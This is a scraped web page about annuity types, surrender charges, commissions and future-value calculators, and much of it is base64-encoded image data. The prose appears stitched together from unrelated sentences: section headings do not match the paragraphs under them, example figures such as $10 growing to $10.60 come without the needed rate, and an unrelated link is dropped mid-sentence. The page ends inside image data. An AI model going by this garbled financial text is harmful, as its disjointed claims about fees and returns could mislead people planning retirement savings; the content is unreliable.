HRrZ0r4QCLFZNc5jg5psQufuYPCzCzPAsH4nwF6JjeMWC5pdnqSSZKIobWFLZJSoLkKUfvuH7yys9RHSrVZjzNM4hsK+GuLOFb9CvcaWmwYjFTE6oc1Hl9Rktuk9KghJ61lSvVW1q2F9PS1fhAJBIGx6VodTjUsOUncj2\/wCFYw4m8BjKhokay5AJNrk3JNiL3O99xpcLiLwyW6ThviFgMZCcrRkV8xe4qyJzIIa432i5\/aGnlrj7JSthKEdKVJJ30qJ+Iqrf8Q4DfuXms+5pgcm5TjVxk5RPRY1QpaRBVFYQgJLzKkkOJ8zzUkbHZAHz30tlHG+M5bf7RlFzbkt3WxNTGYMmO+UFCJLKmXAR6K+FWxsHSgDVJM+FTk204n\/oyxjxEzLZha1PJciJsDJmBl1aluoEgOAbUpayVFGtqO0kdqhmkdHZmXM0Xtw1NrH76hXoxqKqLpjJ3UjsgdcFwIbmuBobg+HR1hpYmy9fDviCzHMsuwJ7IH2RZ82tNxgKYQykIavEB1QW4het9LjaD8BJ7qGvTv7sr8WF4gSuS71iWLQLpiPHcZiM5dHX1o+13VbraVMNkAhSEoUpRI9P2Z2Qsaz+ZfDxPb4WxvCeDo4iXjDp7D1ncdkhtYKypD7rjp0TvzVOrI7q6ToEkCtRzHwTJw3wnDh3jGyzbzJVJiJlrZa6pEx1b6VvynAPdS\/iOuyU9gAlPb6W1LGObfYXvzJG3obn2WLZMJqJo5coGdwBbsGtDybnbUsytH\/kTrZSKd4iOQJucXXD8D4Sl5F\/RuBCmXlwXZmMttclrzA0yhwAuqA6vlsp9tp3n8heIu54\/lVq434\/4xuuWZrcICblJtCZLMcW1ghOzIeJLaSkrSCOrXdOioqSDXfiJu7NtyCfcMe4y5FtfINuDUewXrHoDkiPdm\/h6UvKaBQpI7goWOpIA767DdxnMx4Y5Dmcw5lg11vDOd4\/aGL6qxxjLetNyjNELb8pBJLKi4r40kjYA9hsZZMxBJtfU22Gu2nkDvpqgoaQxxyNY3MWaNLj4nDJckh9iCC5zbZDmBaQbWMjk+Iq9QsXyxi+8fSMeznGLOu9fqSdJS8zKipUEl5p9r4VpBIB1ogkD56ilv535tgRMRunJNqw+12TkiREtVjl2KU7ImQpE0JEZ5xp5PQtIW4jqSCdb9fY6swcw8SXI12z1rBb7jmKWLE7pZLYbxFVElXWbKbUj4Wl6PlJClHq9OoN6J+Lp1PG\/h4vWIWDizluz4Pc7vktoUhN7sF5ladaSvbSn4yJC0oYcaHxpRtI0e2jWOaoe4EXI57aX3tbXTy01C3CPDIY3NcGCQg3HzAOyXADi7QBw\/e1OVxstlyPyBzRklyxnw2XJmbYsuvN4bTOyO0LLLMiztAuOS46gQW1lKFgo9lJA9FaHtx\/k3lHj7NuQOGMZ4zvPIc6PfHLlELlzQyzCtsxAW2h159X3Qrr0N7Pxa3qroz\/AI1u+S8mcfchWObDjrxOVLE9L5UFPxH2ShSUdKTtQVo6JA7k77aOwb4xjx+YV8txLy8w5JsZs0u3JaHlyFB1K0PqXvfUkJKQNeh9a2inlz3zHffT5bfn6qE7FaTucndNsWXy2NhJnOuhB1ZsAbC4HArlTjXFs2gsWqSjGPt+T8F5ZOfdxyM+CpduucdXV5Sj2cWkuSFIH73b30DuebOdZHKbGOWNnj\/MsPxWBkdunZDf8lsMmG3FZbe6uhHwKBUdEdW+yinfY11hb8Pxq1ZLdswt1oZYvF8bjs3CUgnqkJYCg11DetpC1DYG\/n6CtnLiRLhFdgz4rMmM+gtusvIC0OII0UqSexBHsa+toi2PIH\/2NuuwAOqxlx+OWpFQ+EEi9jcgjNcutuNHOcWkg2vqDYAQrGsEhz2L7KyLKUZzYMlmi6W2JcY7MiNCYWgENtK+IOIJPUk+gBAA9SqYWu02qxwW7ZZbZEt8NkabjxWUtNoH0SkACshppphpDDDaW220hKEIACUpHoAB6CvOpzWhosFzskjpDmcUpSlfVglKUoiUpSiJSlKIlKUoiUpSiLRM4Lh8bLF51FxyCxf3IyobtwZaCHnWVKSoocKddY2lJHVvWu2q3tKV8AA2Wb5HyWzm9tNeXJKUpX1YJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiL\/\/Z\" width=\"359px\" alt=\"future annuity calculator\"\/><\/p>\n<p><p>Investors can determine the future value of their annuity by considering the annuity amount, projected rate of return, and number of periods. There are also implications whether the annuity payments are made at the beginning of the period or at the end. Commissions\u2013Annuities are generally sold by insurance brokers who charge a fee of anywhere from 1% for the most basic annuity to as much as 10% for complex annuities indexed to the stock market. In general, the simpler the annuity structure or the shorter the surrender charge period, the lower the commission. For example, a variable annuity with a 10-year surrender charge period will pay a higher commission than one with a 5-year surrender charge, which results in a higher commission fee for the investor. In general, commissions for variable annuities average around 4% to 7%, while immediate annuities average from 1% to 3%.<\/p>\n<\/p>\n<div style='border: black solid 1px;padding: 12px;'>\n<h3>Americo Annuity Review \u2013 Forbes Advisor &#8211; Retirement &#8211; Forbes<\/h3>\n<p>Americo Annuity Review \u2013 Forbes Advisor &#8211; Retirement.<\/p>\n<p>Posted: Tue, 23 May 2023 07:00:00 GMT [<a href='https:\/\/news.google.com\/rss\/articles\/CBMiQWh0dHBzOi8vd3d3LmZvcmJlcy5jb20vYWR2aXNvci9yZXRpcmVtZW50L2FtZXJpY28tYW5udWl0eS1yZXZpZXcv0gEA?oc=5' rel=\"nofollow\">source<\/a>]<\/p>\n<\/div>\n<p><p>The result will be a present value cash settlement that will be less than the sum total of all the future payments because of discounting (time value of money). You have $15,000 savings and will start to save $100 per month in an account that yields 1.5% per year compounded monthly. You want to know the value of your investment in 10 years or, the future value of your savings account. Remember that you can always check your results with our future value calculator \u2013 it works in each direction, depending on the values you provide. Unless insurance companies go bankrupt, fixed annuities promise the return of principal.<\/p>\n<\/p>\n<p><h2>What is an annuity?<\/h2>\n<\/p>\n<p><p>Because of this, the returns of a variable annuity are different each year; some years, the value of the annuity may even go down if market performance is poor. The surrender charge is usually imposed during the first several years of an annuity contract, and the percentage that is charged declines each year. A variable annuity might charge a 9% penalty on funds withdrawn in the first year, an 8% penalty in the second year, a 7% penalty in the third year and so on. The calculator can tell you an estimate of what your variable annuity could be worth  when you reach retirement age and start withdrawals. So, let&#8217;s assume that you invest $1,000 every year for the next five years, at 5% interest.<\/p>\n<\/p>\n<ul>\n<li>It\u2019s not fair if you are being talked into things you do not want or need.<\/li>\n<li>They pay out a guaranteed minimum such as a fixed annuity does, but a portion of it is also tied to the performance of the investments within, which is similar to a variable annuity.<\/li>\n<li>Continuing with our example, if I agreed to make the $100 annual payments at the beginning of each year, our arrangement would be considered to be an annuity due.<\/li>\n<li>In other words, the purchasing power of your money decreases in the future.<\/li>\n<\/ul>\n<p><p>For example, if you selected a monthly payment frequency, the future value annuity calculator will divide the annual rate by 12. It is possible to roll over qualified retirement <a href=\"https:\/\/turbo-tax.org\/tax-news\/\">https:\/\/turbo-tax.org\/tax-news\/<\/a> plans like 401(k)s and IRAs into annuities tax-free. After all, these retirement savings accounts do have the primary purpose of providing income in retirement.<\/p>\n<\/p>\n<p><h2>Future Value of a\u00a0Growing Annuity (g = i)<\/h2>\n<\/p>\n<p><p>This article will look at what an annuity is, how different types of annuities work, and how to determine if they are right for you. Many insurance companies start with that simple annuity structure, then add additional features that make them far more complex \u2014 and expensive. Others are mere bells and whistles that enrich the seller more than the buyer. A good example of this kind of calculation is a savings account because the future value of it tells how much will be in the account at a given point in the future. This means that $10 in a savings account today will be worth $10.60 one year later. Real estate investors also use the Present Value of Annuity Calculator when buying and selling mortgages.<\/p>\n<\/p>\n<p><p>Different annuities serve different purposes, and have pros and cons depending on an individual&#8217;s situation. Most people use annuities as supplemental investments in combination with other investments such as IRAs, 401(k)s, or other pension plans. Many people find that as they get older, investment options with tax shields approach or reach their contribution limits.<\/p>\n<\/p>\n<p><h2>How to Calculate the Future Value of an Annuity<\/h2>\n<\/p>\n<p><p>Besides, you can read about different types of annuities and get some insight  into the analytical background. Most insurance companies charge a surrender fee if canceled within the first 5 to 9 years of ownership. In general, the shorter an annuity is owned, the higher the surrender fee. As an example, if an annuity contract has an eight-year surrender period, it&#8217;s quite possible to have to pay eight percent of the value of the investment if it is surrendered within the first year.<\/p>\n<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src=\"data:image\/jpeg;base64,\/9j\/4AAQSkZJRgABAQAAAQABAAD\/2wCEABALDBoYFhsaGBoeHRofICUfISAiICclHyUlLicxMi0nLS01PVBCNThLOS0tRWFFS1NWW1xbMkFlbWVYbFBZW1cBERISGBYZJRgXJVc2LTZXV2NXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV\/\/AABEIAWgB4AMBIgACEQEDEQH\/xAAbAAEAAQUBAAAAAAAAAAAAAAAABgECAwQFB\/\/EAEUQAAIBAgIFCAcGBAUEAwEAAAABAgMRBCEFBhIxUSI0QWFxc5GyBxMycoGhsRQVIzNSU0JidMEWJDVDgpLR4fCiwvEl\/8QAFwEBAQEBAAAAAAAAAAAAAAAAAAECA\/\/EAB0RAQEAAwEBAQEBAAAAAAAAAAABAhExEiEDQWH\/2gAMAwEAAhEDEQA\/APPwAAAAAAAAAAAAAAAAAAAAA9L9G3Manfy8kDzQ9L9G3Manfy8kCVYloKlDLQ3ZXZbCrGSvFpoulG6ae55GpLR8LWV0BtXVxdXtfM1vsMb75PLiVpYOMZKSbyVswNkoLi4AAoBUFABUoUuLkFQUuLgVKFLi4VUMpcXAFGLlLgWuTvawTfCxRzztb4lHUz3MCLekW\/2Onw9fHyTPOj0X0hyvgqdv34+SZ50bjOXQAFZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0n0b1oLBzi5JSdeVk3m+RA82JRqtTcqMkleXrHa2\/wBmJnLizr1IoyygmoRUt6ir9ti9kaWVdrZ5O\/Ix0du72\/hbdvy+RnKAakvXKU7K62uTw2bfW5bGdf8ASnuvcTp1VKUovLabSk8rW3eJixGJko036yClntcpJdQRkVattewrbvnvKzq1Y1HaO1BbuLyX\/k59TT0IO0qlO1va2k3fM1amtNJQhy+XltJK9+PYFdupWq8hqO9PaXX0L6ljxlRNJ0n8HkcCWt0U3a8k0stlqzz\/APBijrilvpN5772y4ASKWkGv9t8LdKzEsdKKhtQbcleyW7Mjc9cLSclTbjmtltX6ncsWub6aP\/yAki0ov0S6F4mSOPvtPZaUYqXXm2v7ETqa4zdtmklnnd3uHrlUv+TH\/qZDaULSLcZT2HbbjFLje138y6hpBTko7LT2dp5biKPXOr+zDxZa9cav7VPxZTaTx0xF3vF2WfHK1y6Wk4ZO0rXs8s07X3EW\/wAYVf2afzKLW6p00Kb8SaXaW09Ixk0optvdla9t5dV0jThPZbd11dPAiK1vn+xT8WVWtl3eWGg3xuDaWvH0\/wBXRfcI42nJpKWbySIr\/iqm9+G8JHR0fp\/C1Lcn1Ut9msk11jQ7EcbTcnFS5SbVunIosfSab21k7GmquG2nK6Us1d9N+BWOGw0r2tkk277kRr44\/pAqRlgqey0\/x4+SZ56TbXbD0o4am6crtVEtm98nGbuQk6Rzy6AArIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAelejaK+xVHZX9fLPp9iB5qemejXmNT+ol5IEqxLQChloNXSeL9RQqVLXcVdLrNlySONrZUtgZ9cor5gQbFaUr4iTlVqSdskk7K3YjUlnvLYPf2szwotq+SXFlRhsDMsO3fdl8y77K7J3XEDXFzY+y2yckm3ZGvJWbXAClyhWKu7F\/qn1AYwX+qfFBQvwAxgyerHqst6AxFS+dO1rNO5WdK255AYwZvVLiV9SrXuQa7Zs6Ll+NC+71kTBVik2kX4J2mnwnF\/MK9JlQhf2V4FVh4crkrlK0utcCkZXMkGYbRbX3DQhhISirN1or4bEsvkQE9D9IPMqffx8kzzw6Y8c8ugANMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB6X6NuY1P6iXkgeaHpfo25jU\/qJeSBKsS0oVKGWmDE4f1is3Y42tUNjBSV73nE75H9c3\/lF76AgEfal2meNZxVsmuswQ9qXaXsqMn2mfFLsQ+0yta68DEUAyrEz49ZieYAAXDQsQ0o2UuXKDe5MKDe5Mbi6W3N\/B6IrVkpQjyXubZoqDe5XsTvQ1CNTC0b+zs2ava7JtdOB\/hbEZZw8S9ao4jplDxO7nh60vVJzg98L+y10o3cNjfW7oNK1239Ba1IjH+Ea37kA9Uav7sPmSCekpJteqk+VaLW63Fla2PaT2abctxNnlDNL6GnhVFzlGSk2lY0MP\/wDZEq1zlehh21Z7Tv4EUo7n2mozep3S0hH1cpWfISvlv7C5aZh\/DFvK5XDQUqcU0mnGN0bdOlH9K8DO24jevWJ28JCNrWqwlv4wmQM9B1\/pxWDptJX9dFX\/AOEzz46Y8csugAKyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHpfo25jU7+XkgeaHpfo25jU7+XkgSrEtKMqUZlpQjmur\/wArH30SMjmuvN4d5\/YqIJT9qXaXMsg+XI2adCU\/ZQowFDc+76nAfd1TgRWmX0Z7MlJ9DubP3bU4F0dGVOAItxWMjNK0c075q3wLKeLSjbZW2r7MuCfQZnoufAuWiZmNRpgo4x04pRS33uylPFuF3FWk5Xb6uBsrREx9zzLqDVhidmUnBbO14W4Eo0DpClLD7E3CMoPJSdlboZwXoefEfc0n03GofUrlVw6m5KtSSdrrbW9dJmWlsNFZ16f\/AFEQWhZFVoRg+pb9+YX9+HiWvT2E\/fiRb7kH3KF3W3rXpGjXp01SqKTjJt24WI5Q3My4uj6ubjwMdFZPtNMVPcE\/wqfur6G7TNHA\/lU\/dX0N2mYbcDX\/AJlT7+PkmeenoOv\/ADKn38fJM8+OmPHPLoADTIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAel+jbmNT+ol5IHmh6Z6NeY1P6iXkgSrEsKMqyjMtKEd10X+Xp95\/YkRHtdObQ71fQIgUPzJHf1fSbkcBfmPsO9q8+VIZLHfdNcEU2FwRdUlZXs32FtOe1\/C12nNo2FwQ2VwLgBZslNlF4AssUsXlALJQTVmUjFJWReUIq0FTGq0L7O0r8ALikkX2LZARPS\/wCfL4GtR9nxNjSv58zXo+z4nWcY\/qdYH8qn7i+hu0zTwP5VP3F9DcpnNtwNf+ZU+\/j5Jnnx6Dr\/AMyp9\/HyTPPjrjxzy6AA0yAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHpfo25jU\/qJeSB5oel+jbmNT+ol5IEqxLSjKlGZaWs4OuS\/wAmu8id44mtyvgpdU4v5hHnrX4vwO5oB8uRxauU4\/E6+gn+K11DJYkwuWlTk0rcowCihQqUIBQFAoygbKOS4rxAXNCnBbNNXV3Nu\/E26k4tNbSzVt5qQSi43qw5O5XCOgyyRj+10v3I+JZPG0v3I+I0qL6Tf49TtMVL2UVx9RSq1Gs03kUh0fA6\/wAY\/qdYNWp0\/dRu0zUw\/sQ91G3TOboj+v8AzKn38fJM8+PQtf8AmVPv4+SZ56dceOWXQAGmQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9L9G3Man9RLyQPND0v0bcxqf1EvJAlWJaUZUozLShydZ43wVXqs\/mjrHP0\/C+Crr+S\/gyo8yrrNPrM1OvODvCTi+otnDaj1lasob1Gccl\/Mm7ZsDL951\/3Z+JR6Qrfuz8TU9bHjbtTQ24vc0TUNth4+s\/8Adn4lv2yr+5PxMOQGl2y\/a6n7k\/Ep9pqfrl4sxSdi1bT3L4suk2zetl+p+LKOo+L8WY\/VT\/UijpzXTcaNrtp8X4hmP1lt6sX3XFE0bUsUsHNcUU9YgK26iqLU290WV2Jdg0bVaNiCzXajFCFt7uzLT3rtRasTuiuTHsRt0zVo+zHsRtUzk6I\/6QOZU+\/j5Jnnp6F6QOZU+\/j5Jnnp1x45ZdAAaZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0v0bcxqf1EvJA80PS\/RtzGp\/US8kCVYlpRlSjMtKGrpOO1hqy405fQ2jBjn+DV9yX0CPMIbkZYQi73lYxw3ImeCwtOFGGxFWcU9q17lpEOqxprc7vsMMcNGTsoq7JpjqMHSmppbNnna1usj+r+DjXnLbvaMb2va5JWnO+7Pg+FzDVwKi7Nu5NXoyh+1HxZHdM4SNGqlDKMo3te9hKVyPVQhm7s6uD0LXrJNpUocZb\/gjLq7gVVqyqzV402lFPdtcfgSlslqSODHVqCXKrTb6kkilXVfK9OvJPhNXR3kXGZnWtRB8fo+rQ\/Ogtl5Kazi\/+xrU8NBySeSbtfgT+tSjUhKE1eMlZoglWi6dSpSebhJxvxXQ\/A3KzpsLR1PonFvqRglRipNJ5Lc7WuSbV+hBYdTUU5Sb2na737joTgtzSt2ZEtEIlTV4qD2pPKy49B1Kei6qilKhd9OaMeFrUqOOcv9tSav0IkMsbRe6rDxLtfiIYrC1KUuXBxvu4GOJ2tPY6nOCpxalLaUm1uSOIET3DexD3V9DcpmjgHejTf8q+hvQOboj3pA5lT7+PkmeenoXpA5lT7+PkmeenXHjll0ABpkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPS\/RtzGp38vJA80PS\/RtzGp38vJAlWJaADLS00tMT2cLWf8jN05esk9nBVfgvmEefpZGanjKsFswqTjHgnkWWKqpBLlJvgWilbE1Jq06kpLg3kVwuKnRntU3Z2t1NcGYqteFlaLXEt9bF+ymuJFdR6exHGPgc7EVZVJbc5bUuJk9dHP8NtW\/8AWazrJN5ZPd1BEh1Wl+BVj0qrd9jirfQ7LIhojH\/Z6+1L8qa2aluHRL4EyklZSi1KLV4yW5ozY1FqTLkmUKpkVUg+kKqniq8k7pzsn2KxINN6V9VHYg\/xZJpLh1si8eTbq+ZuM2slKvOHsTlG\/BlamLqyVpVZtcLls8Rdvk5PPqLZVmsmrFZ2sKW6vkVhUs3ZXyMrxct2yiNRiQbyLU8xV9lgTrREr4ek\/wCU6UDj6vzvhafVdHYgYbR70gcyp99HyTPPT0L0gcyp99HyTPPTpjxzy6AA0yAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHpfo25jU7+XkgeaHpfo25jU7+XkgSrEtABlpacLXCrs4N9coo7pFNfq1qFOPGVwiNJZF9CULT28nbktq6XHLiWR3GJlG9VrYPai4ppK1043vaLXhezOTHOpNrNXydrX+BnqU6aWUk2WRYGzRxNOELSvLanHaiv0LNq\/W7eBZpLFUKkX6uDjO6ztviopWt25lkXG\/KtYxOUb5AILJG1g9IVqGVOfJ6YSzh4dBhpqP8AE7ItdSF+oDtR1mnblUY36pZGDEaw1pq0FGn172cpzi\/ZKylGy47rf3GoSqdLbbcnvb3stky5VIWzuIyje79kIz0tJbNB0VGWclLavufZwNWrVdRpu7eSu10IyVZw\/hXxKOcc8uwFZMHi1RnJuLe0ksup3N9afj+0rcf4t1s2cyMopZ5vh0D1keAFcRXdWe1a3JUfAxVvYl2F0msrX6yyt7EuwKluq074bskd6myNapT\/AApLsfyJHTZzro4Ov\/MqffR8kzz49A195lT76PkmefnTHjnl0ABpkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPS\/RtzGp38vJA80PSvRvzGp38vJAlWJaAUMtBB\/SDLl0l1L6k3IJr9nXpL+WP1YRzLZGXAYFV6uw8lvb4IsMTg3azt2Ght1NCLZTjUi8pZdN02vojj0FypGy6Lyeee6zLXS2Ha1r5kGbD0IS2pVGlGC2mr2clwXWaGKlFtuENhW3Xv8zZqUeN\/EpTwik\/hfNgY47l2HSp4ahCNKdR3Utrbje9mllks87rwOezH6tAWx9oyQgnKKctlNpOT3JcS50kknxEsO7bWVt+8CuKjTunRbcGr2l7UXuaf1+Jrx9lF6ppu1+q5f6rPZy\/sBvYb7K6S9bdTSd7ZN5v5+z8DDpSnSjVSotOOynk7q+f8Aaxgnh9lZ2+BSnTVm8lZXCsa3m\/XpUHSTjK1TYXJW69le\/Xv8DVhRUr5pdpbOmllk+wCi3lKvsvsL9lJK3SW1FeL7AO7qjLktfyr6kogyJapuzt\/K\/qSuDOWXW44evnMqffR8kyAE+175lT76PkmQE648c8ugANMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB6V6N+Y1O\/l5IHmp6V6N+Y1O\/l5IEqxLAChloZAddedLsgT1sgOub\/wA2\/wDgWDTtkYo0nN7Kdsm+xJXZlluMCqSi7wye7xKiv3dWtmnHJyjeSztFysvgjSw9Rybu72MyhNXayumn2PeY6NPZ6btkG2tHVZQc1a2xKavJJuMd+Rhx2Cq0IKU2s3ZWld+ynu7GWTlL\/wBuY3TlLJvIDPhaDqyjC9nJ2vwMy0NWb\/htnntZZK\/0NaEmrWdmtzL1jaySSna21bjylZ59isBrVIuFRwe9Np9qZlwuGlWnsQttNN5vgYtm7u3dlYzlF3jJxfFbwNnEaMqU6bqPZ2csr8rPptwNSD6C51Jyyc2+izGw07dIG5R0VVmk4uPKjtLlO9ujxsa+MwsqMtmW+yeTurPrEcRUSSVSSSurXds95ZLanm25WXggLb5nUehZpvlR2VLZ2ne269znRpSeaRV1Z2s5ytwuwqtWm4TcXvTtluLXuKyhJZyvmUe4DsatfmL3WSqBE9XX+LHsZLIHPLrc44evfM6ffR8kyAk9175nT76PkmQI6Ycc8ugANMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB6V6N+Y1O\/l5IHmp6V6N+Y1O\/l5IEqxLChUozLS1kA1u54\/eiT9nn+tXPX78foBrz3M1lGTaUIuUuC3m1UWTMWExjozU4q7s1n1lRgq1ayi5OFo552duDMFGrtNq2aN3FaSdRSvTu5R2XaTSyd07GjhoNNt9IGapGq1dxbXGzZhqOpTipODUXdJtWT42OlDS8qcYxjBPZjs57mr3sauOxsq9PZdNJ3vtXd+nLqWfyA10+TctnGWztW5N9m\/Xa9i+McrLNiU5Okqew8puafakmvkgMCnmkXMp6ppptWyLvVt2sr3dviBWdOUHZ5OyfwaumUVV3vfMzYibqSjaDVoRguxLeYIU28lvYNLopt5Jt9RbtNdJmw9SpSkpwTTs0nvyaszE6beVmDS+E532YN3k7W433FamFqr2oyV5OG7+Jb12lKV1KMkr7LT8GdCrpetJwaiouMtu66X0t9oHM25bpN5dBchWlKUnOW9t37REK6mgH+ND4kugQ7QT\/Gh2smFM55Nzjh69czp99HyTIGTzXnmdPvo+SZAzphxzy6AA0yAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHpPo35jU7+XkgebHpPo45jU7+XkgSrEsKFSjMtLWef6z549++voegM8\/1j\/1B++voWDFV9lmhI6Fb2WW0sFGUFKV8+BUc8vhTum9pKx2aWhqbhKeXJV2r577HP0tg4U6LnBNNW6TO100EyjZu6Nw8Z03KSvnY6eE0TTqJvZirOyvd3dvl2jZpwKau7Xt1lVXlHK97ZHWr4Ok4StBJ2dmjmaJpqbe0r2jcbGs5Nl0KjTybR36WApyvyYpJXbe6xbV0fTjJxlTV0T0unFqVndrauk8mW0leW\/Z6ytCmvX7D9nba+FyQQ0TCUFJKGd2l02Ts2S5adMMPX1wqrcLJTT6LosnXcrXZ3sToqNO94xdmk\/icLSFNRq2irJpOxJkuX52TZSl0XsmXTSWand8Dq0dHwk4xUE27LP6mX7mi3NOEVsOzbdlfq4j2s\/FH3JveVTNvH4WEIpxVnezNM3Ltyyx83ToaEl+ND3iZUyF6Ff40PeJrAxkscLXnmdPvo+SZBCd688zp99HyTIIdMOOeXQAGmQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9J9HHManfy8kDzY9J9HHManfy8kCVYlZRlWUMtLWQDWL\/AFB+\/wD2J+yAaf8A9Rfv\/wBiwW1\/ZZdhZp04pb1kW1\/ZZpQ2VZyla99wpHchVSpuPTJpy7FuRzdMzTouCd5SayXDizSqVKf6m2UvGO0lPotl0oxGq2tGTSg4t2d7nYweOjTi0+N8mrPK1mRuCTjdvptb+4qbHRd5b873LUdTF4iCpyzTbTSSOZoucacuU7XVrmOShGT2pPZtk7GC+eWZYiS4fFwjK+34NXKYrGRlKU3JZ57yNtPg\/ArHrT8CaXbJSqpVtt7ttv4XJBDSNoKMdjJNKXTZu7IzNq7tuLobP8TyJcdumGeviTVdJqbltRg9q18+lXz+ZwMdUUqiazsrfMw1XD+G5YpIkxaz\/X5qRI8Dj4x5a2W9myv0PpNmppKM42qRjLc7qVuUlZPwIqmi6o4WyvcnlZ+v+N3SNVNKKd3e5oXyLLlyZuTTjnl6u29oX86HvE2iQfQ\/50PfJvEzkscTXjmcO+j5JkEJ1rxzOHfR8kyCm8OOeXQAG2QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9J9HHManfy8kDzY9I9HPManfy8kCVYlbKFWUZhpSR5\/rB\/qT9\/wDsT5kD1i\/1Je8voWCzE+wy3D0o+rT2U273bz6TJi1yZGDD4iOwot2a4lpHRpYOLpynyVbctnfnZ\/U5+lKcfUSeyrrNNI3aelEoOHrIuLVt25HO0lioSpOEXdvf1IwrHohcmbfFI7ODwyqKd75Wsla7OJga8aaae553OjhtJ06burN9DfQWitaKtJNJqz6DiaHX4iy3JtHSxOPhsys7t3+ZzMFVVOSfRaz+IEiwtH1ktndk2+xFtenszcbNdTtc1qOk6cXdSTVmmmnZp9BSvpSnJ7TfQkkllZLJAcmaTxVrZesSt8TuKnHaS5MU3vtkjgOr+L6z+ba+Z2aWPp3UtpcbP+4pG1iMG6aW1spvdG2bX6uw4elopVItK145+J1q+k41EtucW07qXSlw7Dj6RqxnNbLukrXEK60IKySS3LoM9XByjFScX13SyNCjjYbKu7O2aMtTSMGknPJK3T8yK1tJwXq07K+1vRzTdx2KjOKjF3zvc0TUZrd0R+dD30TiBBtEfnQ99E4gYybjia78zh30fJMgpOtd+Zw76PkmQU3hxzy6AA2yAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHpHo55jU7+XkgebnpHo55jU7+XkgSrOpUUKlDDa2RA9YV\/8A0V7yJ4yDazZaQg\/5oliVZi\/YkcyEG1lBy\/7nTxnsSLMN+VDsf1LSNHZl+xI16qcLuUGla2fEkUYR9TtW5Smle\/RZnN0r+RP4fUzFsc+jmsk2ZYxf7TMuiPy5dq+h2MFCL2tuN4pNuXDIUiOui48qUG4pZmCjJPo7Ed6p7Mux\/Q5Ghly37rBVW88qT8DHKD37Et+6x38KouSUlddthiaexUlFbk2sxKqOKcW3l2LrM7ov9tmKfOX3i+p34Q2na6XW9wpI4yoyvf1T7OixiqySai4bNs3xJFjcMqbVpxeSyW\/dm+w4ml1nDsZIVhjBtZUm10MudN3v6prq6zpUPYh7qNmeDkk3tQ+EsxscCq2t8Nm5hudPSL\/C\/wCSOWajNdDQn59P3ybwIRoP8+n75NoGMm44mu\/M4d9HyTIMTnXfmcO+j5JkGN4cc8ugANsgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB6P6OuY1O\/l5IHnB6P6OuY1O\/l5IEqzqVMoyrKMw2tZB9a1bGU31xJwyFa4r\/ADFN+79UWFYsYuTI51HHbMVFq9t1jpY3dLsORSwkpq6sl1lrMbi0kvZtKzzsamNxiqR2ErLpMqwdXLlR8DUxWEnTi5uzXTYkarJhMWqd1bJm7T0xsXUdpJ7zl0KEqibitxs\/Z6z3KIpGWvpJWaUWm1vZpYOuqcr2yasy+vha1tqUVkujga1Cm5tKO9hK7FHScIu6zfWrlK2lYybk7tvqNKGBqp3Vsi37vqZ7vEnxdsFSpebl0t3OlDSMWs4yv023HKcGp7LXKvaxvQwlWOS2RSNippKL3xlll8Dn4vEesaysluNmWHrPpiaVWnKnJKS6xFb1HHJRSlF5K110lZY+HBr4GGFKpOKtZR6Crw1TK7i0QWYvFbcVFJ233ZqmzXoTjBXacU\/ijVbNRK6WgletD3iaxIZq8vx4dr+hM4GcmseOJrvzOHfR8kyDE5135nT76PkkQY3hxzz6AA0yAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHo\/o65lU7+XkgecHo\/o65lU7+XkgTLi49SllCpQ5ui1kP13VnCXUvqS9kW12pN0VLg0vqaiVpYxZPs\/sauH\/ACodj+rMuIrKVKElulFfQ49LGygrKzV75mtMxKqcV6no2PVNv37\/AF3HE0q\/wJmqtKyXQjFXxsqis7JcEZ01ts6KVqT7TpYeEJbW3LZtFtdb4HCw2LdO+V0zP96fyjRK6M\/ZfY\/ocjRK\/EXuyMlXSblFpRSurXNOlVcGnHeho2lqowtSyWavJ8N92VqUaUYzuum0M83krMji0pLpig9Kv9KJ5NseI51\/yid\/CU4PadRpfwq\/F9JF5VG5OT3t3NuOkpWzSb4iwlSCOEpuy23tZXzyzX\/cj+lo8qK6iv3nLoijUxFdzd2JC11cJ+VDsOnKhQ2b3je36ukjdDGyhHZya6C56Sl+lCxdtzFv8KRymzLWxkpq2SRgZYzXa1ZV68exsmUERTVOnes3wgyXRRjJ0nHA145pDvo+SZBSda8c0h30fJMgp0w45Z9AAaZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0b0d8yqd\/LyQPOT0b0d8yqd\/LyQJlxcepUUYKHN0UZy9PaNeJoOEXaazjwfUdRlrKPLatGrRbhK8M84yWRrOL\/8Aw9UrYaE\/bhGXakzRq6Awss3SS7Mi7Z084d+DBPamq2Ge5SX\/ACMP+E6H6p+JdmkHFibPVPD\/AKp+JdDVXDLftv8A5E9GkGLWegx1ewq\/279ruZo6LoR3UoeA9Q084CPSvsdL9u